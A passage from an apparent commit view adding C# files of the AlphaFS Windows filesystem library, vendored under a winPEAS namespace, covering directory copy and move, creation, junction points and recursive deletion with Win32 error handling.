var copyMoveResult = new CopyMoveResult(cma, isFolder);
var errorFilter = null != cma.DirectoryEnumerationFilters && null != cma.DirectoryEnumerationFilters.ErrorFilter ? cma.DirectoryEnumerationFilters.ErrorFilter : null;
var retry = null != errorFilter && (cma.DirectoryEnumerationFilters.ErrorRetry > 0 || cma.DirectoryEnumerationFilters.ErrorRetryTimeout > 0);
if (retry)
{
if (cma.DirectoryEnumerationFilters.ErrorRetry <= 0)
cma.DirectoryEnumerationFilters.ErrorRetry = 2;
if (cma.DirectoryEnumerationFilters.ErrorRetryTimeout <= 0)
cma.DirectoryEnumerationFilters.ErrorRetryTimeout = 10;
}
// Calling start on a running Stopwatch is a no-op.
copyMoveResult.Stopwatch.Start();
#endregion // Setup
if (cma.IsCopy)
{
// Copy folder SymbolicLinks.
// Cannot be done by CopyFileEx() so emulate this.
if (File.HasCopySymbolicLink(cma.CopyOptions))
{
var lvi = File.GetLinkTargetInfoCore(cma.Transaction, cma.SourcePathLp, true, PathFormat.LongFullPath);
if (null != lvi)
{
File.CreateSymbolicLinkCore(cma.Transaction, cma.DestinationPathLp, lvi.SubstituteName, SymbolicLinkTarget.Directory, PathFormat.LongFullPath);
copyMoveResult.TotalFolders = 1;
}
}
else
{
if (isFolder)
CopyMoveDirectoryCore(retry, cma, copyMoveResult);
else
File.CopyMoveCore(retry, cma, true, false, cma.SourcePathLp, cma.DestinationPathLp, copyMoveResult);
}
}
// Move
else
{
// AlphaFS feature to overcome a MoveFileXxx limitation.
// MoveOptions.ReplaceExisting: This value cannot be used if lpNewFileName or lpExistingFileName names a directory.
if (isFolder && !cma.DelayUntilReboot && File.HasReplaceExisting(cma.MoveOptions))
DeleteDirectoryCore(cma.Transaction, null, cma.DestinationPathLp, true, true, true, PathFormat.LongFullPath);
// 2017-06-07: A large target directory will probably create a progress-less delay in UI.
// One way to get around this is to perform the delete in the File.CopyMove method.
// Moves a file or directory, including its children.
// Copies an existing directory, including its children to a new directory.
File.CopyMoveCore(retry, cma, true, isFolder, cma.SourcePathLp, cma.DestinationPathLp, copyMoveResult);
// If the move happened on the same drive, we have no knowledge of the number of files/folders.
// However, we do know that the one folder was moved successfully.
if (copyMoveResult.ErrorCode == Win32Errors.NO_ERROR && isFolder)
copyMoveResult.TotalFolders = 1;
}
copyMoveResult.Stopwatch.Stop();
return copyMoveResult;
}
}
}

View File

@@ -0,0 +1,102 @@
/* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
using System.Collections.Generic;
using System.IO;
using System.Security;
namespace Alphaleonis.Win32.Filesystem
{
public static partial class Directory
{
[SecurityCritical]
internal static void CopyMoveDirectoryCore(bool retry, CopyMoveArguments cma, CopyMoveResult copyMoveResult)
{
var dirs = new Queue<string>(NativeMethods.DefaultFileBufferSize);
dirs.Enqueue(cma.SourcePathLp);
while (dirs.Count > 0)
{
var srcLp = dirs.Dequeue();
// TODO 2018-01-09: Not 100% yet with local + UNC paths.
var dstLp = srcLp.ReplaceIgnoreCase(cma.SourcePathLp, cma.DestinationPathLp);
// Traverse the source folder, processing files and folders.
// No recursion is applied; a Queue is used instead.
foreach (var fseiSource in EnumerateFileSystemEntryInfosCore<FileSystemEntryInfo>(null, cma.Transaction, srcLp, Path.WildcardStarMatchAll, null, null, cma.DirectoryEnumerationFilters, PathFormat.LongFullPath))
{
var fseiSourcePath = fseiSource.LongFullPath;
var fseiDestinationPath = Path.CombineCore(false, dstLp, fseiSource.FileName);
if (fseiSource.IsDirectory)
{
CreateDirectoryCore(true, cma.Transaction, fseiDestinationPath, null, null, false, PathFormat.LongFullPath);
copyMoveResult.TotalFolders++;
dirs.Enqueue(fseiSourcePath);
}
else
{
// File count is done in File.CopyMoveCore method.
File.CopyMoveCore(retry, cma, true, false, fseiSourcePath, fseiDestinationPath, copyMoveResult);
if (copyMoveResult.IsCanceled)
{
// Break while loop.
dirs.Clear();
// Break foreach loop.
break;
}
if (copyMoveResult.ErrorCode == Win32Errors.NO_ERROR)
{
copyMoveResult.TotalBytes += fseiSource.FileSize;
if (cma.EmulateMove)
File.DeleteFileCore(cma.Transaction, fseiSourcePath, true, fseiSource.Attributes, PathFormat.LongFullPath);
}
}
}
}
if (!copyMoveResult.IsCanceled && copyMoveResult.ErrorCode == Win32Errors.NO_ERROR)
{
if (cma.CopyTimestamps)
CopyFolderTimestamps(cma);
if (cma.EmulateMove)
DeleteDirectoryCore(cma.Transaction, null, cma.SourcePathLp, true, true, true, PathFormat.LongFullPath);
}
}
}
}

View File

@@ -0,0 +1,206 @@
/* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
using System;
using System.Collections.Generic;
using System.Globalization;
using System.IO;
using System.Runtime.InteropServices;
using System.Security;
using System.Security.AccessControl;
using winPEAS._3rdParty.AlphaFS;
namespace Alphaleonis.Win32.Filesystem
{
public static partial class Directory
{
/// <summary>Creates a new directory with the attributes of a specified template directory (if one is specified).
/// If the underlying file system supports security on files and directories, the function applies the specified security descriptor to the new directory.
/// The new directory retains the other attributes of the specified template directory.
/// </summary>
/// <returns>
/// <para>Returns an object that represents the directory at the specified path.</para>
/// <para>This object is returned regardless of whether a directory at the specified path already exists.</para>
/// </returns>
/// <exception cref="ArgumentException"/>
/// <exception cref="ArgumentNullException"/>
/// <exception cref="DirectoryNotFoundException"/>
/// <exception cref="IOException"/>
/// <exception cref="NotSupportedException"/>
/// <exception cref="UnauthorizedAccessException"/>
/// <param name="returnNull">When <c>true</c> returns <c>null</c> instead of a <see cref="DirectoryInfo"/> instance.</param>
/// <param name="transaction">The transaction.</param>
/// <param name="path">The directory to create.</param>
/// <param name="templatePath">The path of the directory to use as a template when creating the new directory. May be <c>null</c> to indicate that no template should be used.</param>
/// <param name="directorySecurity">The <see cref="DirectorySecurity"/> access control to apply to the directory, may be null.</param>
/// <param name="compress">When <c>true</c> compresses the directory using NTFS compression.</param>
/// <param name="pathFormat">Indicates the format of the path parameter(s).</param>
[SecurityCritical]
internal static DirectoryInfo CreateDirectoryCore(bool returnNull, KernelTransaction transaction, string path, string templatePath, ObjectSecurity directorySecurity, bool compress, PathFormat pathFormat)
{
var longPath = path;
if (pathFormat != PathFormat.LongFullPath)
{
if (null == path)
throw new ArgumentNullException("path");
Path.CheckSupportedPathFormat(path, true, true);
Path.CheckSupportedPathFormat(templatePath, true, true);
longPath = Path.GetExtendedLengthPathCore(transaction, path, pathFormat, GetFullPathOptions.TrimEnd | GetFullPathOptions.RemoveTrailingDirectorySeparator);
pathFormat = PathFormat.LongFullPath;
}
if (!char.IsWhiteSpace(longPath[longPath.Length - 1]))
{
// Return DirectoryInfo instance if the directory specified by path already exists.
if (File.ExistsCore(transaction, true, longPath, PathFormat.LongFullPath))
// We are not always interested in a new DirectoryInfo instance.
return returnNull ? null : new DirectoryInfo(transaction, longPath, PathFormat.LongFullPath);
}
// MSDN: .NET 3.5+: IOException: The directory specified by path is a file or the network name was not found.
if (File.ExistsCore(transaction, false, longPath, PathFormat.LongFullPath))
NativeError.ThrowException(Win32Errors.ERROR_ALREADY_EXISTS, longPath);
var templatePathLp = Utils.IsNullOrWhiteSpace(templatePath)
? null
: Path.GetExtendedLengthPathCore(transaction, templatePath, pathFormat, GetFullPathOptions.TrimEnd | GetFullPathOptions.RemoveTrailingDirectorySeparator);
var list = ConstructFullPath(transaction, longPath);
// Directory security.
using (var securityAttributes = new Security.NativeMethods.SecurityAttributes(directorySecurity))
{
// Create the directory paths.
while (list.Count > 0)
{
var folderLp = list.Pop();
// CreateDirectory() / CreateDirectoryEx()
// 2013-01-13: MSDN confirms LongPath usage.
if (!(transaction == null || !NativeMethods.IsAtLeastWindowsVista
? (templatePathLp == null
? NativeMethods.CreateDirectory(folderLp, securityAttributes)
: NativeMethods.CreateDirectoryEx(templatePathLp, folderLp, securityAttributes))
: NativeMethods.CreateDirectoryTransacted(templatePathLp, folderLp, securityAttributes, transaction.SafeHandle)))
{
var lastError = Marshal.GetLastWin32Error();
switch ((uint) lastError)
{
// MSDN: .NET 3.5+: If the directory already exists, this method does nothing.
// MSDN: .NET 3.5+: IOException: The directory specified by path is a file.
case Win32Errors.ERROR_ALREADY_EXISTS:
if (File.ExistsCore(transaction, false, longPath, PathFormat.LongFullPath))
NativeError.ThrowException(lastError, longPath);
if (File.ExistsCore(transaction, false, folderLp, PathFormat.LongFullPath))
NativeError.ThrowException(Win32Errors.ERROR_PATH_NOT_FOUND, null, folderLp);
break;
case Win32Errors.ERROR_BAD_NET_NAME:
NativeError.ThrowException(Win32Errors.ERROR_BAD_NET_NAME, longPath);
break;
case Win32Errors.ERROR_DIRECTORY:
// MSDN: .NET 3.5+: NotSupportedException: path contains a colon character (:) that is not part of a drive label ("C:\").
throw new NotSupportedException(string.Format(CultureInfo.InvariantCulture, Resources.Unsupported_Path_Format, longPath));
case Win32Errors.ERROR_ACCESS_DENIED:
// Report the parent folder, the inaccessible folder.
var parent = GetParent(folderLp);
NativeError.ThrowException(lastError, null != parent ? parent.FullName : folderLp);
break;
default:
NativeError.ThrowException(lastError, true, folderLp);
break;
}
}
else if (compress)
Device.ToggleCompressionCore(transaction, true, folderLp, true, PathFormat.LongFullPath);
}
// We are not always interested in a new DirectoryInfo instance.
return returnNull ? null : new DirectoryInfo(transaction, longPath, PathFormat.LongFullPath);
}
}
private static Stack<string> ConstructFullPath(KernelTransaction transaction, string path)
{
var longPathPrefix = Path.IsUncPathCore(path, false, false) ? Path.LongPathUncPrefix : Path.LongPathPrefix;
path = Path.GetRegularPathCore(path, GetFullPathOptions.None, false);
var length = path.Length;
if (length >= 2 && Path.IsDVsc(path[length - 1], false))
--length;
var rootLength = Path.GetRootLength(path, false);
if (length == 2 && Path.IsDVsc(path[1], false))
throw new ArgumentException(Resources.Cannot_Create_Directory, "path");
// Check if directories are missing.
var list = new Stack<string>(100);
if (length > rootLength)
{
for (var index = length - 1; index >= rootLength; --index)
{
var path1 = path.Substring(0, index + 1);
var path2 = longPathPrefix + path1.TrimStart('\\');
if (!File.ExistsCore(transaction, true, path2, PathFormat.LongFullPath))
list.Push(path2);
while (index > rootLength && !Path.IsDVsc(path[index], false))
--index;
}
}
return list;
}
}
}

View File

@@ -0,0 +1,131 @@
/* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
using System;
using System.Globalization;
using System.IO;
using System.Security;
using System.Security.AccessControl;
using Microsoft.Win32.SafeHandles;
using winPEAS._3rdParty.AlphaFS;
namespace Alphaleonis.Win32.Filesystem
{
public static partial class Directory
{
/// <summary>Creates an NTFS directory junction (similar to CMD command: "MKLINK /J"). Overwriting a junction point of the same name is allowed.</summary>
/// <returns>Returns the long path to the directory junction.</returns>
/// <remarks>
/// The directory must be empty and reside on a local volume.
/// The directory date and time stamps from <paramref name="directoryPath"/> (the target) are copied to the directory junction.
/// <para>
/// MSDN: A junction (also called a soft link) differs from a hard link in that the storage objects it references are separate directories,
/// and a junction can link directories located on different local volumes on the same computer.
/// Otherwise, junctions operate identically to hard links. Junctions are implemented through reparse points.
/// </para>
/// </remarks>
/// <exception cref="AlreadyExistsException"/>
/// <exception cref="ArgumentException"/>
/// <exception cref="ArgumentNullException"/>
/// <exception cref="DirectoryNotFoundException"/>
/// <exception cref="IOException"/>
/// <exception cref="NotSupportedException"/>
/// <exception cref="UnauthorizedAccessException"/>
/// <param name="transaction">The transaction.</param>
/// <param name="junctionPath">The path of the junction point to create.</param>
/// <param name="directoryPath">The path to the directory. If the directory does not exist it will be created.</param>
/// <param name="overwrite"><c>true</c> to overwrite an existing junction point. The directory is removed and recreated.</param>
/// <param name="copyTargetTimestamps"><c>true</c> to copy the target date and time stamps to the directory junction.</param>
/// <param name="pathFormat">Indicates the format of the path parameter(s).</param>
[SecurityCritical]
internal static string CreateJunctionCore(KernelTransaction transaction, string junctionPath, string directoryPath, bool overwrite, bool copyTargetTimestamps, PathFormat pathFormat)
{
if (pathFormat != PathFormat.LongFullPath)
{
Path.CheckSupportedPathFormat(directoryPath, true, true);
Path.CheckSupportedPathFormat(junctionPath, true, true);
directoryPath = Path.GetExtendedLengthPathCore(transaction, directoryPath, pathFormat, GetFullPathOptions.RemoveTrailingDirectorySeparator);
junctionPath = Path.GetExtendedLengthPathCore(transaction, junctionPath, pathFormat, GetFullPathOptions.RemoveTrailingDirectorySeparator);
pathFormat = PathFormat.LongFullPath;
}
// Directory Junction logic.
// Check if drive letter is a mapped network drive.
if (new DriveInfo(directoryPath).IsUnc)
throw new ArgumentException(string.Format(CultureInfo.InvariantCulture, Resources.Network_Path_Not_Allowed, directoryPath), "directoryPath");
if (new DriveInfo(junctionPath).IsUnc)
throw new ArgumentException(string.Format(CultureInfo.InvariantCulture, Resources.Network_Path_Not_Allowed, junctionPath), "junctionPath");
// Check for existing file.
File.ThrowIOExceptionIfFsoExist(transaction, false, directoryPath, pathFormat);
File.ThrowIOExceptionIfFsoExist(transaction, false, junctionPath, pathFormat);
// Check for existing directory junction folder.
if (File.ExistsCore(transaction, true, junctionPath, pathFormat))
{
if (overwrite)
{
DeleteDirectoryCore(transaction, null, junctionPath, true, true, true, pathFormat);
CreateDirectoryCore(true, transaction, junctionPath, null, null, false, pathFormat);
}
else
{
// Ensure the folder is empty.
if (!IsEmptyCore(transaction, junctionPath, pathFormat))
throw new DirectoryNotEmptyException(junctionPath, true);
throw new AlreadyExistsException(junctionPath, true);
}
}
// Create the folder and convert it to a directory junction.
CreateDirectoryCore(true, transaction, junctionPath, null, null, false, pathFormat);
using (var safeHandle = OpenDirectoryJunction(transaction, junctionPath, pathFormat))
Device.CreateDirectoryJunction(safeHandle, directoryPath);
// Copy the target date and time stamps to the directory junction.
if (copyTargetTimestamps)
File.CopyTimestampsCore(transaction, true, directoryPath, junctionPath, true, pathFormat);
return junctionPath;
}
private static SafeFileHandle OpenDirectoryJunction(KernelTransaction transaction, string junctionPath, PathFormat pathFormat)
{
return File.CreateFileCore(transaction, true, junctionPath, ExtendedFileAttributes.BackupSemantics | ExtendedFileAttributes.OpenReparsePoint, null, FileMode.Open, FileSystemRights.WriteData, FileShare.ReadWrite, false, false, pathFormat);
}
}
}

View File

@@ -0,0 +1,113 @@
/* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
using System;
using System.Collections.Generic;
using System.IO;
using System.Security;
using System.Security.AccessControl;
namespace Alphaleonis.Win32.Filesystem
{
public static partial class Directory
{
/// <summary>Deletes the specified directory and, if indicated, any subdirectories in the directory.</summary>
/// <remarks>The RemoveDirectory function marks a directory for deletion on close. Therefore, the directory is not removed until the last handle to the directory is closed.</remarks>
/// <exception cref="ArgumentException"/>
/// <exception cref="ArgumentNullException"/>
/// <exception cref="DirectoryNotFoundException"/>
/// <exception cref="IOException"/>
/// <exception cref="NotSupportedException"/>
/// <exception cref="UnauthorizedAccessException"/>
/// <exception cref="DirectoryReadOnlyException"/>
/// <param name="transaction">The transaction.</param>
/// <param name="fsEntryInfo">A FileSystemEntryInfo instance. Use either <paramref name="fsEntryInfo"/> or <paramref name="path"/>, not both.</param>
/// <param name="path">The name of the directory to remove. Use either <paramref name="path"/> or <paramref name="fsEntryInfo"/>, not both.</param>
/// <param name="recursive"><c>true</c> to remove all files and subdirectories recursively; <c>false</c> otherwise only the top level empty directory.</param>
/// <param name="ignoreReadOnly"><c>true</c> overrides read only attribute of files and directories.</param>
/// <param name="continueOnNotFound">When <c>true</c> does not throw an <see cref="DirectoryNotFoundException"/> when the directory does not exist.</param>
/// <param name="pathFormat">Indicates the format of the path parameter(s).</param>
[SecurityCritical]
internal static void DeleteDirectoryCore(KernelTransaction transaction, FileSystemEntryInfo fsEntryInfo, string path, bool recursive, bool ignoreReadOnly, bool continueOnNotFound, PathFormat pathFormat)
{
if (null == fsEntryInfo)
{
if (null == path)
throw new ArgumentNullException("path");
fsEntryInfo = File.GetFileSystemEntryInfoCore(transaction, true, Path.GetExtendedLengthPathCore(transaction, path, pathFormat, GetFullPathOptions.RemoveTrailingDirectorySeparator), continueOnNotFound, pathFormat);
if (null == fsEntryInfo)
return;
}
PrepareDirectoryForDelete(transaction, fsEntryInfo, ignoreReadOnly);
// Do not follow mount points nor symbolic links, but do delete the reparse point itself.
// If directory is reparse point, disable recursion.
if (recursive && !fsEntryInfo.IsReparsePoint)
{
// The stack will contain the entire folder structure to prevent any open directory handles because of enumeration.
// The root folder is at the bottom of the stack.
var dirs = new Stack<string>(NativeMethods.DefaultFileBufferSize);
foreach (var fsei in EnumerateFileSystemEntryInfosCore<FileSystemEntryInfo>(null, transaction, fsEntryInfo.LongFullPath, Path.WildcardStarMatchAll, null, DirectoryEnumerationOptions.Recursive, null, PathFormat.LongFullPath))
{
PrepareDirectoryForDelete(transaction, fsei, ignoreReadOnly);
if (fsei.IsDirectory)
dirs.Push(fsei.LongFullPath);
else
File.DeleteFileCore(transaction, fsei.LongFullPath, ignoreReadOnly, fsei.Attributes, PathFormat.LongFullPath);
}
while (dirs.Count > 0)
DeleteDirectoryNative(transaction, dirs.Pop(), ignoreReadOnly, continueOnNotFound, 0);
}
DeleteDirectoryNative(transaction, fsEntryInfo.LongFullPath, ignoreReadOnly, continueOnNotFound, fsEntryInfo.Attributes);
}
internal static void PrepareDirectoryForDelete(KernelTransaction transaction, FileSystemEntryInfo fsei, bool ignoreReadOnly)
{
// Check to see if the folder is a mount point and unmount it. Only then is it safe to delete the actual folder.
if (fsei.IsMountPoint)
DeleteJunctionCore(transaction, fsei, null, false, PathFormat.LongFullPath);
// Reset attributes to Normal if we already know the facts.
if (ignoreReadOnly && (fsei.IsReadOnly || fsei.IsHidden))
File.SetAttributesCore(transaction, fsei.IsDirectory, fsei.LongFullPath, FileAttributes.Normal, PathFormat.LongFullPath);
}
}
}

View File

@@ -0,0 +1,128 @@
/* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
using System.Diagnostics.CodeAnalysis;
using System.Globalization;
using System.IO;
using System.Runtime.InteropServices;
using winPEAS._3rdParty.AlphaFS;
namespace Alphaleonis.Win32.Filesystem
{
public static partial class Directory
{
[SuppressMessage("Microsoft.Design", "CA1031:DoNotCatchGeneralExceptionTypes")]
private static void DeleteDirectoryNative(KernelTransaction transaction, string pathLp, bool ignoreReadOnly, bool continueOnNotFound, FileAttributes attributes)
{
startRemoveDirectory:
var success = null == transaction || !NativeMethods.IsAtLeastWindowsVista
// RemoveDirectory() / RemoveDirectoryTransacted()
// 2014-09-09: MSDN confirms LongPath usage.
// RemoveDirectory on a symbolic link will remove the link itself.
? NativeMethods.RemoveDirectory(pathLp)
: NativeMethods.RemoveDirectoryTransacted(pathLp, transaction.SafeHandle);
var lastError = Marshal.GetLastWin32Error();
if (!success)
{
switch ((uint) lastError)
{
case Win32Errors.ERROR_DIR_NOT_EMPTY:
// MSDN: .NET 3.5+: IOException: The directory specified by path is not an empty directory.
throw new DirectoryNotEmptyException(pathLp, true);
case Win32Errors.ERROR_DIRECTORY:
// MSDN: .NET 3.5+: DirectoryNotFoundException: Path refers to a file instead of a directory.
if (File.ExistsCore(transaction, false, pathLp, PathFormat.LongFullPath))
throw new DirectoryNotFoundException(string.Format(CultureInfo.InvariantCulture, "({0}) {1}", lastError, string.Format(CultureInfo.InvariantCulture, Resources.Target_Directory_Is_A_File, pathLp)));
break;
case Win32Errors.ERROR_PATH_NOT_FOUND:
if (continueOnNotFound)
return;
break;
case Win32Errors.ERROR_SHARING_VIOLATION:
// MSDN: .NET 3.5+: IOException: The directory is being used by another process or there is an open handle on the directory.
NativeError.ThrowException(lastError, pathLp);
break;
case Win32Errors.ERROR_ACCESS_DENIED:
if (attributes == 0)
{
var attrs = new NativeMethods.WIN32_FILE_ATTRIBUTE_DATA();
if (File.FillAttributeInfoCore(transaction, pathLp, ref attrs, false, true) == Win32Errors.NO_ERROR)
attributes = attrs.dwFileAttributes;
}
if (File.IsReadOnlyOrHidden(attributes))
{
// MSDN: .NET 3.5+: IOException: The directory specified by path is read-only.
if (ignoreReadOnly)
{
// Reset attributes to Normal.
File.SetAttributesCore(transaction, true, pathLp, FileAttributes.Normal, PathFormat.LongFullPath);
goto startRemoveDirectory;
}
// MSDN: .NET 3.5+: IOException: The directory is read-only.
throw new DirectoryReadOnlyException(pathLp);
}
// MSDN: .NET 3.5+: UnauthorizedAccessException: The caller does not have the required permission.
if (attributes == 0)
NativeError.ThrowException(lastError, File.IsDirectory(attributes), pathLp);
break;
}
// MSDN: .NET 3.5+: IOException:
// A file with the same name and location specified by path exists.
// The directory specified by path is read-only, or recursive is false and path is not an empty directory.
// The directory is the application's current working directory.
// The directory contains a read-only file.
// The directory is being used by another process.
NativeError.ThrowException(lastError, pathLp);
}
}
}
}

View File

@@ -0,0 +1,91 @@
/* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
using System;
using System.Collections.Generic;
using System.Globalization;
using System.IO;
using System.Security;
using winPEAS._3rdParty.AlphaFS;
namespace Alphaleonis.Win32.Filesystem
{
public static partial class Directory
{
/// <summary>[AlphaFS] Delete empty subdirectories from the specified directory.</summary>
/// <exception cref="ArgumentException"/>
/// <exception cref="ArgumentNullException"/>
/// <exception cref="DirectoryNotFoundException"/>
/// <exception cref="IOException"/>
/// <exception cref="NotSupportedException"/>
/// <exception cref="UnauthorizedAccessException"/>
/// <exception cref="DirectoryReadOnlyException"/>
/// <param name="fsEntryInfo">A FileSystemEntryInfo instance. Use either <paramref name="fsEntryInfo"/> or <paramref name="path"/>, not both.</param>
/// <param name="transaction">The transaction.</param>
/// <param name="path">The name of the directory to remove empty subdirectories from. Use either <paramref name="path"/> or <paramref name="fsEntryInfo"/>, not both.</param>
/// <param name="recursive"><c>true</c> deletes empty subdirectories from this directory and its subdirectories.</param>
/// <param name="ignoreReadOnly"><c>true</c> overrides read only <see cref="FileAttributes"/> of empty directories.</param>
/// <param name="pathFormat">Indicates the format of the path parameter(s).</param>
[SecurityCritical]
internal static void DeleteEmptySubdirectoriesCore(FileSystemEntryInfo fsEntryInfo, KernelTransaction transaction, string path, bool recursive, bool ignoreReadOnly, PathFormat pathFormat)
{
#region Setup
if (null == fsEntryInfo)
{
if (pathFormat == PathFormat.RelativePath)
Path.CheckSupportedPathFormat(path, true, true);
if (!File.ExistsCore(transaction, true, path, pathFormat))
NativeError.ThrowException(Win32Errors.ERROR_PATH_NOT_FOUND, path);
fsEntryInfo = File.GetFileSystemEntryInfoCore(transaction, true, Path.GetExtendedLengthPathCore(transaction, path, pathFormat, GetFullPathOptions.TrimEnd | GetFullPathOptions.RemoveTrailingDirectorySeparator | GetFullPathOptions.FullCheck), false, pathFormat);
if (null == fsEntryInfo)
return;
}
#endregion // Setup
// Ensure path is a directory.
if (!fsEntryInfo.IsDirectory)
throw new IOException(string.Format(CultureInfo.InvariantCulture, Resources.Target_Directory_Is_A_File, fsEntryInfo.LongFullPath));
var dirs = new Stack<string>(1000);
dirs.Push(fsEntryInfo.LongFullPath);
while (dirs.Count > 0)
{
foreach (var fsei in EnumerateFileSystemEntryInfosCore<FileSystemEntryInfo>(true, transaction, dirs.Pop(), Path.WildcardStarMatchAll, null, DirectoryEnumerationOptions.ContinueOnException, null, PathFormat.LongFullPath))
{
// Ensure the directory is empty.
if (IsEmptyCore(transaction, fsei.LongFullPath, pathFormat))
DeleteDirectoryCore(transaction, fsei, null, false, ignoreReadOnly, true, PathFormat.LongFullPath);
else if (recursive)
dirs.Push(fsei.LongFullPath);
}
}
}
}
}

View File

@@ -0,0 +1,86 @@
/* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov
*
